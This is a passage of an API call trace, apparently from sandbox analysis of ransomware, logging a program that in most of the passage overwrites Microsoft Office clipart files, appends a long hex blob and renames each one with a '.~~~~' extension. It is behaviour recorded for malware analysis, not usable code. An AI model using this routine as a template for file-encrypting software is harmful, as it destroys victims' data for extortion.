	[0120.649] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.649] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.649] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.649] CloseHandle (hObject=0x130) returned 1
	[0120.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0120.650] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01746_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01746_.gif.~~~~")) returned 1
	[0120.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0120.651] GetLastError () returned 0x0
	[0120.651] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0120.652] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.652] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0120.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0120.653] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24064269537) returned 1
	[0120.653] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb1624ed0, dwHighDateTime=0x1d60e1e)) 
	[0120.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0120.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0120.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0120.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ea1a8
	[0120.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea1a8 | out: hHeap=0x300000) returned 1
	[0120.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b61f0
	[0120.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.653] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0120.654] GetLastError () returned 0x0
	[0120.654] GetLastError () returned 0x0
	[0120.654] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0120.654] GetLastError () returned 0x0
	[0120.654] GetLastError () returned 0x0
	[0120.656] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffc79, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.656] WriteFile (in: hFile=0x130, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x387, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x25dfec0*=0x387, lpOverlapped=0x0) returned 1
	[0120.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.658] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.658] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.658] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.658] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.658] CloseHandle (hObject=0x130) returned 1
	[0120.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0120.659] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif.~~~~")) returned 1
	[0120.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0120.660] GetLastError () returned 0x0
	[0120.746] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0120.747] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.747] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0120.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0120.747] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24073731506) returned 1
	[0120.747] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb1709710, dwHighDateTime=0x1d60e1e)) 
	[0120.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0120.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0120.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0120.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ea448
	[0120.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea448 | out: hHeap=0x300000) returned 1
	[0120.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6618
	[0120.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.748] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0120.748] GetLastError () returned 0x0
	[0120.748] GetLastError () returned 0x0
	[0120.748] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0120.748] GetLastError () returned 0x0
	[0120.748] GetLastError () returned 0x0
	[0120.792] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffd29, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.792] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x2d7, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x2d7, lpOverlapped=0x0) returned 1
	[0120.794] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0120.794] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.794] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.795] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.795] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.795] CloseHandle (hObject=0x128) returned 1
	[0120.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0120.795] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif.~~~~")) returned 1
	[0120.796] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.796] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0120.796] GetLastError () returned 0x0
	[0120.797] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0120.798] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.798] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0120.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0120.798] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24078839318) returned 1
	[0120.798] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb177bb30, dwHighDateTime=0x1d60e1e)) 
	[0120.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0120.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0120.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0120.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ea4b8
	[0120.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea4b8 | out: hHeap=0x300000) returned 1
	[0120.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6320
	[0120.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.799] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0120.799] GetLastError () returned 0x0
	[0120.800] GetLastError () returned 0x0
	[0120.800] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0120.800] GetLastError () returned 0x0
	[0120.800] GetLastError () returned 0x0
	[0120.839] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff5ea, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.839] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xa16, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xa16, lpOverlapped=0x0) returned 1
	[0120.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0120.841] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.841] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.841] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.841] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.841] CloseHandle (hObject=0x128) returned 1
	[0120.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28733a0
	[0120.842] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf.~~~~")) returned 1
	[0120.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28733a0 | out: hHeap=0x300000) returned 1
	[0120.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0120.843] GetLastError () returned 0x0
	[0120.843] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0120.844] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.844] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0120.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0120.845] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24083486247) returned 1
	[0120.845] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb17edf50, dwHighDateTime=0x1d60e1e)) 
	[0120.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0120.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0120.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0120.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6fb8
	[0120.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6fb8 | out: hHeap=0x300000) returned 1
	[0120.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837130
	[0120.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.846] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0120.846] GetLastError () returned 0x0
	[0120.846] GetLastError () returned 0x0
	[0120.846] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0120.846] GetLastError () returned 0x0
	[0120.846] GetLastError () returned 0x0
	[0120.848] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffffd1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.848] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x2f, lpOverlapped=0x0) returned 1
	[0120.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0120.850] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.850] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.850] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.850] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.850] CloseHandle (hObject=0x128) returned 1
	[0120.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x2a1d9e8
	[0120.850] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif.~~~~")) returned 1
	[0120.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1d9e8 | out: hHeap=0x300000) returned 1
	[0120.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0120.852] GetLastError () returned 0x0
	[0121.029] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0121.042] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.042] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0121.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0121.042] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24103262228) returned 1
	[0121.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb19dd130, dwHighDateTime=0x1d60e1e)) 
	[0121.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0121.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0121.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0121.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9a60
	[0121.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9a60 | out: hHeap=0x300000) returned 1
	[0121.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.043] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0121.043] GetLastError () returned 0x0
	[0121.044] GetLastError () returned 0x0
	[0121.044] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0121.044] GetLastError () returned 0x0
	[0121.044] GetLastError () returned 0x0
	[0121.065] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffd23, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.065] WriteFile (in: hFile=0x128, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x2dd, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x2dd, lpOverlapped=0x0) returned 1
